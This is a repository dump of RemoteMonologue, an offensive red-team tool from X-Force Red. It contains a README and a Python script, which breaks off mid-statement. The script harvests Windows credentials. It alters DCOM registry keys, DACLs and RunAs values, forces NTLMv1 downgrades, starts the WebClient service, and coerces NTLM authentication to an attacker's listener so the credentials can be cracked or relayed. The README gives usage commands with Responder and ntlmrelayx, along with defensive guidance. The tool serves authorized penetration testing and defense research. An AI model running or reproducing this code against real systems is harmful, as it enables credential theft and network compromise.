Repository: xforcered/RemoteMonologue Branch: main Commit: d9fe1ae06848 Files: 2 Total size: 50.4 KB Directory structure: gitextract_k96jjx8a/ ├── README.md └── RemoteMonologue.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: README.md ================================================ # RemoteMonologue RemoteMonologue is a Windows credential harvesting technique that enables remote user compromise by leveraging the Interactive User RunAs key and coercing NTLM authentications via DCOM. Read X-Force Red's [RemoteMonologue: Weaponizing DCOM for NTLM Authentication Coercions] for detailed information. ## **Features** 🔹 **Authentication Coercion via DCOM (`-dcom`)** - Targets four DCOM objects (`ServerDataCollectorSet`, `FileSystemImage`, `MSTSWebProxy`, `UpdateSession`) to trigger an NTLM authentication against a specified listener (`-auth-to`). 🔹 **Credential Spraying (`-spray`)** - Validate credentials across multiple systems while also capturing user credentials. 🔹 **NetNTLMv1 Downgrade Attack (`-downgrade`)** - Force targets to use NTLMv1, making credential cracking and relaying easier. 🔹 **WebClient Service Abuse (`-webclient`)** - Enables the WebClient service to facilitate HTTP-based authentication coercion. 🔹 **User Enumeration (`-query`)** - Identify users with an active session on the target system. **Note:** Local administrator privileges to the target system is required. ## **Setup** ```bash pip install impacket ``` ## **Examples** Below is an example of running RemoteMonologue with the NetNTLMv1 downgrade attack while using `Responder` as the listener. By default, if no DCOM option is specified, the tool uses the `ServerDataCollectorSet` DCOM object. ```bash RemoteMonologue.py domain/user:password@target -auth-to [listener IP] -downgrade ``` ![image](https://github.com/user-attachments/assets/ada8f741-754f-4c50-9743-a6d9145f7407) Below is another example, this time the attack is executed using the `FileSystemImage` DCOM object and enabling the WebClient service to obtain an HTTP authentication, which is then relayed to LDAP using `ntlmrelayx`. ```bash RemoteMonologue.py domain/user:password@target -auth-to [listener NETBIOS@PORT] -webclient -dcom FileSystemImage ``` ![image](https://github.com/user-attachments/assets/f79d879a-ac4b-4436-a453-359d6e2eba72) ## **Defensive Considerations** To protect against and detect these techniques, there are several preventative and detection measures that can be implemented. Preventative measures: 1. Enable LDAP Signing and Channel Binding: Configure LDAP signing enforcement and channel binding on domain controllers to protect the LDAP endpoint from relay attacks. Note: These settings will be enforced by default starting with Windows Server 2025. 2. Upgrade to the Latest Windows Versions: Upgrade servers to Windows Server 2025 and workstations to Windows 11 version 24H2 to mitigate NetNTLM downgrade attacks, as NTLMv1 has been removed in these versions. 3. Enforce SMB Signing: Enable and enforce SMB signing on Windows servers to prevent SMB relay attacks. 4. Implement Strong Password Policies: Enforce strong password requirements to make password cracking attacks more challenging. Detection opportunities: 1. Monitor Remote Access to DCOM Objects: Track access to the affected DCOM objects and their specific Properties and Methods to identify unusual activity. 2. Monitor Registry Modifications: Monitor changes to the RunAs and LmCompatibilityLevel registry keys. 3. Track WebClient Service Activity: Monitor for instances where the WebClient service is enabled remotely, as this is used to facilitate HTTP-based NTLM authentications. [RemoteMonologue: Weaponizing DCOM for NTLM Authentication Coercions]: https://www.ibm.com/think/x-force/remotemonologue-weaponizing-dcom-ntlm-authentication-coercions ================================================ FILE: RemoteMonologue.py ================================================ #!/usr/bin/python3 from __future__ import division from __future__ import print_function import argparse import logging import sys import time import random import string import os import struct import socket import re import uuid import codecs from impacket import version from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ VARIANT, VARENUM, DISPATCH_METHOD, DISPATCH_PROPERTYPUT, DISPATCH_PROPERTYPUTREF, DISPID_ARRAY from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ IRemUnknown2, INTERFACE from impacket.dcerpc.v5.dtypes import NULL, LONG, MAXIMUM_ALLOWED from impacket.examples import logger from impacket.examples.utils import parse_target from impacket.krb5.keytab import Keytab from impacket.dcerpc.v5.transport import DCERPCTransportFactory from impacket import version from impacket.dcerpc.v5 import transport, rrp, scmr,lsat, lsad from impacket.dcerpc.v5.ndr import NULL from impacket.crypto import encryptSecret from impacket.smbconnection import SMBConnection from impacket.ntlm import compute_lmhash, compute_nthash from impacket.smb3structs import * from impacket.ldap import ldaptypes from impacket.dcerpc.v5 import transport, rrp, scmr, rpcrt from impacket.system_errors import ERROR_NO_MORE_ITEMS from impacket.dcerpc.v5.samr import SID_NAME_USE from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5 import ndr from impacket.dcerpc.v5.dcom import wmi text_green = '\033[92m' text_blue = '\033[36m' text_yellow = '\033[93m' text_red = '\033[91m' text_end = '\033[0m' class RemoteMonologue: def __init__(self, username='', password='', domain='', address='', hashes=None, aesKey=None, doKerberos=False, kdcHost=None, auth_to=None, output='', dcom='', downgrade=False, webclient=False, timeout=5): self.__username = username self.__password = password self.__domain = domain self.__address = address self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__doKerberos = doKerberos self.__kdcHost = kdcHost self.__auth_to = auth_to self.__output = output self.__timeout = timeout self.__dcom = dcom self.__downgrade = downgrade self.__webclient = webclient if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def getInterface(self, interface, resp): # Now let's parse the answer and build an Interface instance objRefType = OBJREF(b''.join(resp))['flags'] objRef = None if objRefType == FLAGS_OBJREF_CUSTOM: objRef = OBJREF_CUSTOM(b''.join(resp)) elif objRefType == FLAGS_OBJREF_HANDLER: objRef = OBJREF_HANDLER(b''.join(resp)) elif objRefType == FLAGS_OBJREF_STANDARD: objRef = OBJREF_STANDARD(b''.join(resp)) elif objRefType == FLAGS_OBJREF_EXTENDED: objRef = OBJREF_EXTENDED(b''.join(resp)) else: logging.error("Unknown OBJREF Type! 0x%x" % objRefType) return IRemUnknown2( INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], oxid=objRef['std']['oxid'], oid=objRef['std']['oxid'], target=interface.get_target())) def checkSMB(self): # Test conection to port 445 with timeout try: sock = socket.create_connection((self.__address, 445), self.__timeout) except Exception as e: if str(e).find("timed out") >= 0: logging.error(f"Failed to connect to port {self.__address}:445") if self.__output != None: output_file = open(self.__output, "a") output_file.write("[~] Failed to connect to port 445," + self.__address + "\n") output_file.close() return False elif str(e).find("No route to host") >= 0: logging.error(f"No route to host {self.__address}") if self.__output != None: output_file = open(self.__output, "a") output_file.write("[~] No route to host," + self.__address + "\n") output_file.close() return False else: logging.error(f"Unknown error: {e}") return False return True def registry_modifications(self): ntlmExists = False ntlmVal = -1 ntlmCreated = False if (self.__dcom != None): logging.info(f"Targeting {self.__dcom} COM object") else: logging.info("Targeting ServerDataCollectorSet COM object") if ((self.__dcom != "UpdateSession" or self.__downgrade == True)): if not self.__webclient: if not self.checkSMB(): return smbclient = SMBConnection(self.__address, self.__address) if options.k is True: smbclient.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, options.dc_ip ) else: smbclient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) for attempt in range(3): try: string_binding = r'ncacn_np:%s[\pipe\winreg]' rpc = transport.DCERPCTransportFactory(string_binding) rpc.set_smb_connection(smbclient) dce = rpc.get_dce_rpc() dce.connect() logging.debug("Connected to RemoteRegistry!") break except (Exception) as e: if str(e).find("STATUS_PIPE_NOT_AVAILABLE") >= 0: logging.debug("STATUS_PIPE_NOT_AVAILABLE. Retrying in 0.5 seconds...") time.sleep(0.5) else: logging.error("Failed to connect to RemoteRegistry:", e) if self.__output != None: output_file = open(self.__output, "a") output_file.write("[-] Failed to connect to RemoteRegistry," + self.__address + "\n") output_file.close() return dce.bind(rrp.MSRPC_UUID_RRP) reg_handle = rrp.hOpenLocalMachine(dce) if (self.__dcom != "UpdateSession"): if (self.__dcom == "ServerDataCollectorSet" or self.__dcom == None): registry_path = "SOFTWARE\\Classes\\AppID\\{03837503-098b-11d8-9414-505054503030}" elif (self.__dcom == "FileSystemImage"): registry_path = "SOFTWARE\\Classes\\AppID\\{2C941FD1-975B-59BE-A960-9A2A262853A5}" elif (self.__dcom == "MSTSWebProxy"): registry_path = "SOFTWARE\\Classes\\AppID\\{C92A9617-0EAE-4235-BD2B-84540EF1FFA9}" # Open the registry key key_handle = rrp.hBaseRegOpenKey( dce, reg_handle["phKey"], registry_path, samDesired=(MAXIMUM_ALLOWED), ) # Get the OWNER security descriptor resp = rrp.hBaseRegGetKeySecurity( dce, key_handle["phkResult"], scmr.OWNER_SECURITY_INFORMATION, ) owner_security_descriptor = b''.join(resp['pRpcSecurityDescriptorOut']['lpSecurityDescriptor']) # Get the DACL security descriptor resp = rrp.hBaseRegGetKeySecurity( dce, key_handle["phkResult"], scmr.DACL_SECURITY_INFORMATION, ) dacl_security_descriptor = b''.join(resp['pRpcSecurityDescriptorOut']['lpSecurityDescriptor']) rrp.hBaseRegCloseKey(dce, key_handle["phkResult"]) logging.debug(f"Changing OWNER and DACL for {registry_path}") key_handle = rrp.hBaseRegOpenKey( dce, reg_handle["phKey"], registry_path, samDesired=(WRITE_OWNER), ) # Set Owner to Administrators new_owner = (b'\x01\x00\x00\x80\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x00\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05 \x00\x00\x00 \x02\x00\x00' ) resp = self.hBaseRegSetKeySecurity( dce, key_handle["phkResult"], new_owner, scmr.OWNER_SECURITY_INFORMATION, ) # Set Full Control to Administrators new_dacl = (b'\x01\x00\x04\x94\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b'\x14\x00\x00\x00\x02\x00\xc4\x00\x06\x00\x00\x00\x00\x02\x28\x00' b'\x3f\x00\x0f\x00\x01\x06\x00\x00\x00\x00\x00\x05\x50\x00\x00\x00' b'\xb5\x89\xfb\x38\x19\x84\xc2\xcb\x5c\x6c\x23\x6d\x57\x00\x77\x6e' b'\xc0\x02\x64\x87\x00\x02\x14\x00\x19\x00\x02\x00\x01\x01\x00\x00' b'\x00\x00\x00\x05\x12\x00\x00\x00\x00\x02\x18\x00\x3f\x00\x0f\x00' b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00' b'\x00\x02\x18\x00\x19\x00\x02\x00\x01\x02\x00\x00\x00\x00\x00\x05' b'\x20\x00\x00\x00\x21\x02\x00\x00\x00\x02\x18\x00\x19\x00\x02\x00' b'\x01\x02\x00\x00\x00\x00\x00\x0f\x02\x00\x00\x00\x01\x00\x00\x00' b'\x00\x02\x38\x00\x19\x00\x02\x00\x01\x0a\x00\x00\x00\x00\x00\x0f' b'\x03\x00\x00\x00\x00\x04\x00\x00\xb0\x31\x80\x3f\x6c\xbc\x63\x4c' b'\x3c\xe0\x50\xd1\x97\x0c\xa1\x62\x0f\x01\xcb\x19\x7e\x7a\xa6\xc0' b'\xfa\xe6\x97\xf1\x19\xa3\x0c\xce' ) rrp.hBaseRegCloseKey(dce, key_handle["phkResult"]) key_handle = rrp.hBaseRegOpenKey( dce, reg_handle["phKey"], registry_path, samDesired=(WRITE_DAC), ) resp = self.hBaseRegSetKeySecurity( dce, key_handle["phkResult"], new_dacl, scmr.DACL_SECURITY_INFORMATION, ) rrp.hBaseRegCloseKey(dce, key_handle["phkResult"]) key_handle = rrp.hBaseRegOpenKey( dce, reg_handle["phKey"], registry_path, samDesired=(MAXIMUM_ALLOWED), ) # Add Interactive User value logging.info("Setting RunAs value to Interactive User") ans = rrp.hBaseRegSetValue( dce, key_handle["phkResult"], "RunAs", rrp.REG_SZ, "Interactive User" ) if(self.__dcom == "MSTSWebProxy"): # Change "LaunchPermission" and "AccessPermission" values LaunchPermission_data = rrp.hBaseRegQueryValue( dce, key_handle['phkResult'], 'LaunchPermission' ) original_LaunchPermission = LaunchPermission_data[1] new_LaunchPermission = ( b'\x01\x00\x04\x80\x60\x00\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00' b'\x14\x00\x00\x00\x02\x00\x4c\x00\x03\x00\x00\x00\x00\x00\x14\x00' b'\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00' b'\x00\x00\x18\x00\x1f\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05' b'\x20\x00\x00\x00\x20\x02\x00\x00\x00\x00\x18\x00\x1f\x00\x00\x00' b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x2f\x02\x00\x00' b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00' b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00' ) AccessPermission_data = rrp.hBaseRegQueryValue( dce, key_handle['phkResult'], 'AccessPermission' ) original_AccessPermission = AccessPermission_data[1] new_AccessPermission = ( b'\x01\x00\x04\x80\x60\x00\x00\x00\x70\x00\x00\x00\x00\x00\x00\x00' b'\x14\x00\x00\x00\x02\x00\x4c\x00\x03\x00\x00\x00\x00\x00\x14\x00' b'\x03\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x12\x00\x00\x00' b'\x00\x00\x18\x00\x07\x00\x00\x00\x01\x02\x00\x00\x00\x00\x00\x05' b'\x20\x00\x00\x00\x20\x02\x00\x00\x00\x00\x18\x00\x07\x00\x00\x00' b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x2f\x02\x00\x00' b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00' b'\x01\x02\x00\x00\x00\x00\x00\x05\x20\x00\x00\x00\x20\x02\x00\x00' ) ans = rrp.hBaseRegSetValue( dce, key_handle['phkResult'], 'LaunchPermission', rrp.REG_BINARY, new_LaunchPermission ) ans = rrp.hBaseRegSetValue( dce, key_handle['phkResult'], 'AccessPermission', rrp.REG_BINARY, new_AccessPermission ) if(self.__downgrade): logging.info("Running NetNTLMv1 downgrade attack") ntlm_key_handle = rrp.hBaseRegOpenKey( dce, reg_handle["phKey"], 'SYSTEM\\CurrentControlSet\\Control\\Lsa', samDesired=MAXIMUM_ALLOWED, ) try: ntlm_value = rrp.hBaseRegQueryValue( dce, ntlm_key_handle["phkResult"], 'LmCompatibilityLevel' ) ntlmVal = ntlm_value[1] if ntlmVal > 2: logging.debug(f"Changing LmCompatibilityLevel to 2") ans = rrp.hBaseRegSetValue( dce, ntlm_key_handle["phkResult"], 'LmCompatibilityLevel', rrp.REG_DWORD, 2 ) ntlmExists = True else: logging.debug("LmCompatibilityLevel is under 3, no need to change it") except (Exception) as e: logging.debug("No LmCompatibilityLevel value discovered. Adding LmCompatibilityLevel to 2") ans = rrp.hBaseRegSetValue( dce, ntlm_key_handle["phkResult"], 'LmCompatibilityLevel', rrp.REG_DWORD, 2 ) ntlmCreated = True rrp.hBaseRegCloseKey(dce, ntlm_key_handle["phkResult"]) # Run coercion attack self.dcom_coerce() if(self.__downgrade and (ntlmExists or ntlmCreated)): ntlm_key_handle = rrp.hBaseRegOpenKey( dce, reg_handle["phKey"], 'SYSTEM\\CurrentControlSet\\Control\\Lsa', samDesired=MAXIMUM_ALLOWED, ) if(ntlmExists and ntlmVal >= 0): logging.debug(f"Reverting LmCompatibilityLevel back to {ntlmVal}") ans = rrp.hBaseRegSetValue( dce, ntlm_key_handle["phkResult"], 'LmCompatibilityLevel', rrp.REG_DWORD, ntlmVal ) elif (ntlmCreated): logging.debug("Deleting LmCompatibilityLevel to revert back to its original configuration") ans = rrp.hBaseRegDeleteValue( dce, ntlm_key_handle["phkResult"], 'LmCompatibilityLevel', ) rrp.hBaseRegCloseKey(dce, ntlm_key_handle["phkResult"]) if (self.__dcom != "UpdateSession"): # Delete RunAs key logging.debug("Removing RunAs value") ans = rrp.hBaseRegDeleteValue( dce, key_handle["phkResult"], 'RunAs', ) if(self.__dcom == "MSTSWebProxy"): # Reset "LaunchPermission" and "AccessPermission" ans = rrp.hBaseRegSetValue( dce, key_handle['phkResult'], 'LaunchPermission', rrp.REG_BINARY, original_LaunchPermission ) ans = rrp.hBaseRegSetValue( dce, key_handle['phkResult'], 'AccessPermission', rrp.REG_BINARY, original_AccessPermission ) rrp.hBaseRegCloseKey(dce, key_handle["phkResult"]) logging.debug("Reverting OWNER and DACL registry permissions") key_handle = rrp.hBaseRegOpenKey( dce, reg_handle["phKey"], registry_path, samDesired=(WRITE_OWNER | WRITE_DAC), ) # Reset the DACL security descriptor resp = self.hBaseRegSetKeySecurity( dce, key_handle["phkResult"], dacl_security_descriptor, scmr.DACL_SECURITY_INFORMATION, ) # Reset the OWNER security descriptor resp = self.hBaseRegSetKeySecurity( dce, key_handle["phkResult"], owner_security_descriptor, scmr.OWNER_SECURITY_INFORMATION, ) rrp.hBaseRegCloseKey(dce, key_handle["phkResult"]) rrp.hBaseRegCloseKey(dce, reg_handle["phKey"]) dce.disconnect() def hBaseRegSetKeySecurity(self, dce, hKey, pRpcSecurityDescriptor, securityInformation = scmr.OWNER_SECURITY_INFORMATION): # Thank you @skelsec #class BYTE_ARRAY(NDRUniConformantVaryingArray): # pass # #class PBYTE_ARRAY(NDRPOINTER): # referent = ( # ('Data', BYTE_ARRAY), # ) # #class RPC_SECURITY_DESCRIPTOR(NDRSTRUCT): # structure = ( # ('lpSecurityDescriptor',PBYTE_ARRAY), # ('cbInSecurityDescriptor',DWORD), # ('cbOutSecurityDescriptor',DWORD), # ) #constuct the request secdesc = rrp.RPC_SECURITY_DESCRIPTOR() secdesc['lpSecurityDescriptor'] = pRpcSecurityDescriptor secdesc['cbInSecurityDescriptor'] = len(pRpcSecurityDescriptor) secdesc['cbOutSecurityDescriptor'] = len(pRpcSecurityDescriptor) request = rrp.BaseRegSetKeySecurity() request['hKey'] = hKey request['SecurityInformation'] = securityInformation request['pRpcSecurityDescriptor'] = secdesc return dce.request(request) def enableWebclient(self): if not self.checkSMB(): return stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % self.__address logging.debug('StringBinding %s'%stringbinding) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.setRemoteHost(self.__address) if hasattr(rpctransport, 'set_credentials'): rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(scmr.MSRPC_UUID_SCMR) rpc = dce ans = scmr.hROpenSCManagerW(rpc) scManagerHandle = ans['lpScHandle'] try: ans = scmr.hROpenServiceW(rpc, scManagerHandle, "WebClient"+'\x00') serviceHandle = ans['lpServiceHandle'] except Exception as e: logging.error(f"WebClient service not accessible on {self.__address}") return logging.info(f"Querying status for WebClient on {self.__address}") resp = scmr.hRQueryServiceStatus(rpc, serviceHandle) state = resp['lpServiceStatus']['dwCurrentState'] if state == scmr.SERVICE_CONTINUE_PENDING: logging.info("WebClient status: CONTINUE PENDING") elif state == scmr.SERVICE_PAUSE_PENDING: logging.info("WebClient status: PAUSE PENDING") elif state == scmr.SERVICE_PAUSED: logging.info("WebClient status: PAUSED") elif state == scmr.SERVICE_RUNNING: logging.info("WebClient status: RUNNING") elif state == scmr.SERVICE_START_PENDING: logging.info("WebClient status: START PENDING") elif state == scmr.SERVICE_STOP_PENDING: logging.info("WebClient status: STOP PENDING") elif state == scmr.SERVICE_STOPPED: logging.info("WebClient status: STOPPED") else: logging.info("WebClient status: UNKNOWN. WebClient might not be installed on target system!") if state == scmr.SERVICE_RUNNING: if (self.__dcom == "UpdateSession"): logging.info("Targeting UpdateSession COM object") self.dcom_coerce() else: self.registry_modifications() elif state == scmr.SERVICE_STOPPED: logging.info("Starting WebClient service. Waiting 5 seconds...") scmr.hRStartServiceW(rpc, serviceHandle) time.sleep(5) if (self.__dcom == "UpdateSession"): logging.info("Targeting UpdateSession COM object") self.dcom_coerce() else: self.registry_modifications() logging.info("Stopping WebClient service") scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP) else: logging.error("WebClient can't be started. Try again with -downgrade instead.") scmr.hRCloseServiceHandle(rpc, scManagerHandle) dce.disconnect() return def run_query(self): dcom = DCOMConnection(self.__address, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) try: iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) dcom.disconnect() sys.stdout.flush() sys.exit(1) descriptor, _ = iWbemServices.GetObject('StdRegProv') retVal = descriptor.EnumKey(2147483651,'\x00') descriptor.RemRelease() iWbemServices.RemRelease() dcom.disconnect() sidRegex = "^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$" index = 0 users = list() while True: try: res = re.match(sidRegex, retVal.sNames[index]) if res: users.append(retVal.sNames[index]) index += 1 except: break smbclient = SMBConnection(self.__address, self.__address) if options.k is True: smbclient.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, options.dc_ip ) else: smbclient.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) lsaRpcBinding = r'ncacn_np:%s[\pipe\lsarpc]' rpc = transport.DCERPCTransportFactory(lsaRpcBinding) rpc.set_smb_connection(smbclient) dce = rpc.get_dce_rpc() dce.connect() dce.bind(lsat.MSRPC_UUID_LSAT) resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] try: resp = lsat.hLsarLookupSids(dce, policyHandle, users,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException as e: if str(e).find('STATUS_NONE_MAPPED') >= 0: pass elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0: resp = e.get_packet() else: raise if resp['TranslatedNames']['Names'] == []: logging.error("No one is currently logged in") else: logging.info(f"Potential users logged on {self.__address}:") for item in resp['TranslatedNames']['Names']: if item['Use'] != SID_NAME_USE.SidTypeUnknown: logging.info(f" {resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name']}\\{item['Name']}") dce.disconnect() def run(self): if self.__webclient: self.enableWebclient() return if (self.__dcom == "UpdateSession" and self.__downgrade): self.registry_modifications() elif (self.__dcom == "UpdateSession"): logging.info("Targeting UpdateSession COM object") self.dcom_coerce() else: self.registry_modifications() def dcom_coerce(self): global text_green, text_blue, text_yellow, text_red, text_end # Initiate DCOM connection try: # Timeout checker stringBinding = r'ncacn_ip_tcp:%s[135]' % self.__address transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(self.__timeout) dce = transport.get_dce_rpc() dce.connect() try: dcom = DCOMConnection(self.__address, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost) dispParams = DISPPARAMS(None, False) dispParams['rgvarg'] = NULL dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 0 dispParams['cNamedArgs'] = 0 if (self.__dcom == "UpdateSession"): # UpdateSession CLSID for SYSTEM authentication iInterface = dcom.CoCreateInstanceEx(string_to_bin('4CB43D7F-7EEE-4906-8698-60DA1C38F2FE'), IID_IDispatch) iUpdateSession = IDispatch(iInterface) CreateUpdateServiceManager = iUpdateSession.GetIDsOfNames(('CreateUpdateServiceManager',))[0] hCreateUpdateServiceManager = iUpdateSession.Invoke(CreateUpdateServiceManager, 0x409, DISPATCH_METHOD, dispParams, 0, [], []) iCreateUpdateServiceManager = IDispatch(self.getInterface(iUpdateSession, hCreateUpdateServiceManager['pVarResult']['_varUnion']['pdispVal']['abData'])) pAddScanPackageService = iCreateUpdateServiceManager.GetIDsOfNames(('AddScanPackageService',)) [0] AuthenticationCoercer((iCreateUpdateServiceManager, pAddScanPackageService), self.__auth_to, self.__dcom) elif (self.__dcom == "ServerDataCollectorSet" or self.__dcom == None): # DataManager CLSID for Interactive User authentication iInterface = dcom.CoCreateInstanceEx(string_to_bin('03837546-098b-11d8-9414-505054503030'), IID_IDispatch) iServerDataCollectorSet = IDispatch(iInterface) resp = iServerDataCollectorSet.GetIDsOfNames(('datamanager',))[0] resp = iServerDataCollectorSet.Invoke(resp, 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) iDataManager = IDispatch(self.getInterface(iServerDataCollectorSet, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) pExtract = iDataManager.GetIDsOfNames(('extract',))[0] AuthenticationCoercer((iDataManager, pExtract), self.__auth_to, self.__dcom) elif (self.__dcom == "FileSystemImage"): # FileSystemImage CLSID for Interactive User authentication iInterface = dcom.CoCreateInstanceEx(string_to_bin('2C941FC5-975B-59BE-A960-9A2A262853A5'), IID_IDispatch) iFileSystemImage = IDispatch(iInterface) pWorkingdirectory = iFileSystemImage.GetIDsOfNames(('workingdirectory',))[0] AuthenticationCoercer((iFileSystemImage, pWorkingdirectory), self.__auth_to, self.__dcom) elif (self.__dcom == "MSTSWebProxy"): # MSTSWebProxy CLSID for Interactive User authentication iInterface = dcom.CoCreateInstanceEx(string_to_bin('B43A0C1E-B63F-4691-B68F-CD807A45DA01'), IID_IDispatch) iMSTSWebProxy = IDispatch(iInterface) pStartRemoteDesktop = iMSTSWebProxy.GetIDsOfNames(('StartRemoteDesktop',))[0] AuthenticationCoercer((iMSTSWebProxy, pStartRemoteDesktop), self.__auth_to, self.__dcom) print(text_green + "[+] Coerced SMB authentication! %+35s" % self.__address + text_end) if self.__output != None: output_file = open(self.__output, "a") output_file.write("[+] Forced SMB authentication for Interactive User," + self.__address + "\n") output_file.close() dcom.disconnect() except (Exception) as e: if str(e).find("OAUT SessionError: unknown error code: 0x0") >= 0: logging.debug("Got exepcted 0x0 SessionError") print(text_green + "[+] Coerced SMB authentication! %+35s" % self.__address + text_end) if self.__output != None: output_file = open(self.__output, "a") output_file.write("[+] Forced SMB authentication for Interactive User," + self.__address + "\n") output_file.close() elif str(e).find("DCOM SessionError: code: 0x8000401a - CO_E_RUNAS_LOGON_FAILURE") >= 0: logging.debug("Got RUNAS_LOGON_FAILURE") print(text_blue + "[~] Local admin but no Interactive User %+47s" % self.__address + text_end) if self.__output != None: output_file = open(self.__output, "a") output_file.write("[~] Local admin but no Interactive User," + self.__address + "\n") output_file.close() elif str(e).find("access_denied") >= 0: logging.debug("Got ACCESS_DENIED") print(text_red + "[-] Access denied %+69s" % self.__address + text_end) if self.__output != None: output_file = open(self.__output, "a") output_file.write("[-] Access denied," + self.__address + "\n") output_file.close() elif str(e).find("REGDB_E_CLASSNOTREG") >= 0: logging.debug("Got REGDB_E_CLASSNOTREG") print(text_blue + "[~] Local admin but DCOM class not registered %+41s" % self.__address + text_end) if self.__output != None: output_file = open(self.__output, "a") output_file.write("[~] DCOM class not registered," + self.__address + "\n") output_file.close() else: logging.error(str(e)) dcom.disconnect() sys.stdout.flush() except KeyboardInterrupt: sys.exit(0) dce.disconnect() except (Exception) as e: if str(e).find("No route to host") >= 0: logging.debug("No route to host") print(text_yellow + "[!] No route to host %+66s" % self.__address + text_end) if self.__output != None: output_file = open(self.__output, "a") output_file.write("[!] No route to host," + self.__address + "\n") output_file.close() elif str(e).find("Network is unreachable") >= 0: logging.debug("Network is unreachable") print(text_yellow + "[!] Network is unreachable %+60s" % self.__address + text_end) if self.__output != None: output_file = open(self.__output, "a") output_file.write("[!] Network is unreachable," + self.__address + "\n") output_file.close() elif str(e).find("timed out") >= 0: logging.debug("Connection timed out") print(text_yellow + "[!] Connection timed out %+62s" % self.__address + text_end) if self.__output != None: output_file = open(self.__output, "a") output_file.write("[!] Connection timed out," + self.__address + "\n") output_file.close() elif str(e).find("Connection refused") >= 0: logging.debug("Connection refused") print(text_yellow + "[!] Connection refused %+64s" % self.__address + text_end) if self.__output != None: output_file = open(self.__output, "a") output_file.write("[!] Connection refused," + self.__address + "\n") output_file.close() else: logging.debug("Unkown error: " + str(e) + " for " + self.__address) if self.__output != None: output_file = open(self.__output, "a") output_file.write("[!] Unknown error," + self.__address + "\n") output_file.close() except KeyboardInterrupt: sys.exit(0) class AuthenticationCoercer(): def __init__(self, executeUNCpath, auth_to, dcom): self._executeUNCpath = executeUNCpath self._auth_to = auth_to self.__dcom = dcom self.execute_remote() def execute_remote(self): tmpShare = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) tmpName = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) tmpFileName = tmpName + '.txt' UNCpath = "\\\\%s\\%s\\%s" % (self._auth_to, tmpShare, tmpFileName) logging.debug('Setting UNC path: %s' % UNCpath) if (self.__dcom == "UpdateSession" or self.__dcom == "ServerDataCollectorSet" or self.__dcom == None): dispParams = DISPPARAMS(None, False) dispParams['rgdispidNamedArgs'] = NULL dispParams['cArgs'] = 2 dispParams['cNamedArgs'] = 0 arg0 = VARIANT(None, False) arg0['clSize'] = 5 arg0['vt'] = VARENUM.VT_BSTR arg0['_varUnion']['tag'] = VARENUM.VT_BSTR arg0['_varUnion']['bstrVal']['asData'] = "XFORCERED" arg1 = VARIANT(None, False) arg1['clSize'] = 5 arg1['vt'] = VARENUM.VT_BSTR arg1['_varUnion']['tag'] = VARENUM.VT_BSTR arg1['_varUnion']['bstrVal']['asData'] = UNCpath if (self.__dcom == 